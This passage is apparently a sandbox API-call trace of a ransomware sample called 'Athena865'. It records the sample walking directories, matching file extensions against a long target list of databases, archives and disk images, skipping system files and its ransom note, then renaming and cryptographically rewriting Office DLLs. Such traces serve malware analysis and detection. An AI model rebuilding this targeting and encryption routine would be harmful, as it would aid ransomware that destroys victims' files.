[0115.123] lstrlenW (lpString="orx") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0115.123] lstrlenW (lpString="owc") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0115.124] lstrlenW (lpString="p96") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0115.124] lstrlenW (lpString="p97") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0115.124] lstrlenW (lpString="pan") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0115.124] lstrlenW (lpString="pdb") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0115.124] lstrlenW (lpString="pdm") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0115.124] lstrlenW (lpString="pnz") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0115.124] lstrlenW (lpString="qry") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0115.124] lstrlenW (lpString="qvd") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0115.124] lstrlenW (lpString="rbf") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0115.124] lstrlenW (lpString="rctd") returned 4 [0115.124] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0115.124] lstrlenW (lpString="rod") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0115.124] lstrlenW (lpString="rodx") returned 4 [0115.124] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0115.124] lstrlenW (lpString="rpd") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0115.124] lstrlenW (lpString="rsd") returned 3 [0115.124] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0115.124] lstrlenW (lpString="sas7bdat") returned 8 [0115.125] lstrcmpiW (lpString1="SPPC.DLL", lpString2="sas7bdat") returned 1 [0115.125] lstrlenW (lpString="sbf") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0115.125] lstrlenW (lpString="scx") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0115.125] lstrlenW (lpString="sdb") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0115.125] lstrlenW (lpString="sdc") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0115.125] lstrlenW (lpString="sdf") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0115.125] lstrlenW (lpString="sis") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0115.125] lstrlenW (lpString="spq") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0115.125] lstrlenW (lpString="te") returned 2 [0115.125] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0115.125] lstrlenW (lpString="teacher") returned 7 [0115.125] lstrcmpiW (lpString1="PPC.DLL", lpString2="teacher") returned -1 [0115.125] lstrlenW (lpString="tmd") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0115.125] lstrlenW (lpString="tps") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0115.125] lstrlenW (lpString="trc") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.125] lstrlenW (lpString="trc") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.125] lstrlenW (lpString="trm") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0115.125] lstrlenW (lpString="udb") returned 3 [0115.125] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0115.126] lstrlenW (lpString="udl") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0115.126] lstrlenW (lpString="usr") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0115.126] lstrlenW (lpString="v12") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0115.126] lstrlenW (lpString="vis") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0115.126] lstrlenW (lpString="vpd") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0115.126] lstrlenW (lpString="vvv") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0115.126] lstrlenW (lpString="wdb") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0115.126] lstrlenW (lpString="wmdb") returned 4 [0115.126] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0115.126] lstrlenW (lpString="wrk") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0115.126] lstrlenW (lpString="xdb") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0115.126] lstrlenW (lpString="xld") returned 3 [0115.126] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0115.126] lstrlenW (lpString="xmlff") returned 5 [0115.126] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0115.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.Athena865") returned 99 [0115.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.athena865"), dwFlags=0x1) returned 1 [0115.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=148736) returned 1 [0115.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.128] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.129] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.129] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.129] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24800, lpName=0x0) returned 0x154 [0115.132] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24800) returned 0x170000 [0115.139] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.140] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.140] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.140] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0115.142] CloseHandle (hObject=0x154) returned 1 [0115.142] CloseHandle (hObject=0x17c) returned 1 [0115.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.143] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="..") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="windows") returned -1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootmgr") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="temp") returned -1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="pagefile.sys") returned -1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="boot") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ids.txt") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ntuser.dat") returned 1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="perflogs") returned -1 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="MSBuild") returned 1 [0115.143] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0115.143] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPCEXT.DLL" | out: lpString1="OSPPCEXT.DLL") returned="OSPPCEXT.DLL" [0115.143] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0115.143] lstrlenW (lpString="Athena865") returned 9 [0115.143] lstrcmpiW (lpString1="PCEXT.DLL", lpString2="Athena865") returned 1 [0115.143] lstrlenW (lpString=".dll") returned 4 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".dll") returned 1 [0115.143] lstrlenW (lpString=".lnk") returned 4 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".lnk") returned 1 [0115.143] lstrlenW (lpString=".ini") returned 4 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".ini") returned 1 [0115.143] lstrlenW (lpString=".sys") returned 4 [0115.143] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".sys") returned 1 [0115.144] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0115.144] lstrlenW (lpString="bak") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.144] lstrlenW (lpString="ba_") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.144] lstrlenW (lpString="dbb") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.144] lstrlenW (lpString="vmdk") returned 4 [0115.144] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.144] lstrlenW (lpString="rar") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.144] lstrlenW (lpString="zip") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.144] lstrlenW (lpString="tgz") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.144] lstrlenW (lpString="vbox") returned 4 [0115.144] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.144] lstrlenW (lpString="vdi") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.144] lstrlenW (lpString="vhd") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.144] lstrlenW (lpString="vhdx") returned 4 [0115.144] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.144] lstrlenW (lpString="avhd") returned 4 [0115.144] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.144] lstrlenW (lpString="db") returned 2 [0115.144] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.144] lstrlenW (lpString="db2") returned 3 [0115.144] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.144] lstrlenW (lpString="db3") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.145] lstrlenW (lpString="dbf") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.145] lstrlenW (lpString="mdf") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.145] lstrlenW (lpString="mdb") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.145] lstrlenW (lpString="sql") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.145] lstrlenW (lpString="sqlite") returned 6 [0115.145] lstrcmpiW (lpString1="XT.DLL", lpString2="sqlite") returned 1 [0115.145] lstrlenW (lpString="sqlite3") returned 7 [0115.145] lstrcmpiW (lpString1="EXT.DLL", lpString2="sqlite3") returned -1 [0115.145] lstrlenW (lpString="sqlitedb") returned 8 [0115.145] lstrcmpiW (lpString1="CEXT.DLL", lpString2="sqlitedb") returned -1 [0115.145] lstrlenW (lpString="xml") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.145] lstrlenW (lpString="$er") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.145] lstrlenW (lpString="4dd") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.145] lstrlenW (lpString="4dl") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.145] lstrlenW (lpString="^^^") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.145] lstrlenW (lpString="abs") returned 3 [0115.145] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.145] lstrlenW (lpString="abx") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.146] lstrlenW (lpString="accdb") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0115.146] lstrlenW (lpString="accdc") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0115.146] lstrlenW (lpString="accde") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0115.146] lstrlenW (lpString="accdr") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0115.146] lstrlenW (lpString="accdt") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0115.146] lstrlenW (lpString="accdw") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0115.146] lstrlenW (lpString="accft") returned 5 [0115.146] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0115.146] lstrlenW (lpString="adb") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.146] lstrlenW (lpString="adb") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.146] lstrlenW (lpString="ade") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.146] lstrlenW (lpString="adf") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.146] lstrlenW (lpString="adn") returned 3 [0115.146] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.146] lstrlenW (lpString="adp") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.147] lstrlenW (lpString="alf") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.147] lstrlenW (lpString="ask") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.147] lstrlenW (lpString="btr") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.147] lstrlenW (lpString="cat") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.147] lstrlenW (lpString="cdb") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.147] lstrlenW (lpString="ckp") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.147] lstrlenW (lpString="cma") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.147] lstrlenW (lpString="cpd") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.147] lstrlenW (lpString="dacpac") returned 6 [0115.147] lstrcmpiW (lpString1="XT.DLL", lpString2="dacpac") returned 1 [0115.147] lstrlenW (lpString="dad") returned 3 [0115.147] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.147] lstrlenW (lpString="dadiagrams") returned 10 [0115.147] lstrcmpiW (lpString1="PPCEXT.DLL", lpString2="dadiagrams") returned 1 [0115.147] lstrlenW (lpString="daschema") returned 8 [0115.147] lstrcmpiW (lpString1="CEXT.DLL", lpString2="daschema") returned -1 [0115.147] lstrlenW (lpString="db-journal") returned 10 [0115.147] lstrcmpiW (lpString1="PPCEXT.DLL", lpString2="db-journal") returned 1 [0115.147] lstrlenW (lpString="db-shm") returned 6 [0115.148] lstrcmpiW (lpString1="XT.DLL", lpString2="db-shm") returned 1 [0115.148] lstrlenW (lpString="db-wal") returned 6 [0115.148] lstrcmpiW (lpString1="XT.DLL", lpString2="db-wal") returned 1 [0115.148] lstrlenW (lpString="dbc") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.148] lstrlenW (lpString="dbs") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.148] lstrlenW (lpString="dbt") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.148] lstrlenW (lpString="dbv") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.148] lstrlenW (lpString="dbx") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.148] lstrlenW (lpString="dcb") returned 3 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.148] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.148] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.Athena865") returned 102 [0115.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.athena865"), dwFlags=0x1) returned 1 [0115.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.150] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1828608) returned 1 [0115.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.150] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.151] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.151] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.151] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bea00, lpName=0x0) returned 0x154 [0115.152] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bea00) returned 0x2d50000 [0115.216] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.217] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.217] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.218] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.233] CloseHandle (hObject=0x154) returned 1 [0115.233] CloseHandle (hObject=0x17c) returned 1 [0115.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.241] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0115.241] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.241] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.241] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".") returned 1 [0115.241] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="..") returned 1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="windows") returned -1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootmgr") returned 1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="temp") returned -1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="pagefile.sys") returned -1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="boot") returned 1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ids.txt") returned 1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ntuser.dat") returned 1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="perflogs") returned -1 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="MSBuild") returned 1 [0115.242] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0115.242] lstrcpyW (in: lpString1=0x241e8e8, lpString2="osppobjs-spp-plugin-manifest-signed.xrm-ms" | out: lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned="osppobjs-spp-plugin-manifest-signed.xrm-ms" [0115.242] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0115.242] lstrlenW (lpString="Athena865") returned 9 [0115.242] lstrcmpiW (lpString1="ed.xrm-ms", lpString2="Athena865") returned 1 [0115.242] lstrlenW (lpString=".dll") returned 4 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".dll") returned 1 [0115.242] lstrlenW (lpString=".lnk") returned 4 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".lnk") returned 1 [0115.242] lstrlenW (lpString=".ini") returned 4 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".ini") returned 1 [0115.242] lstrlenW 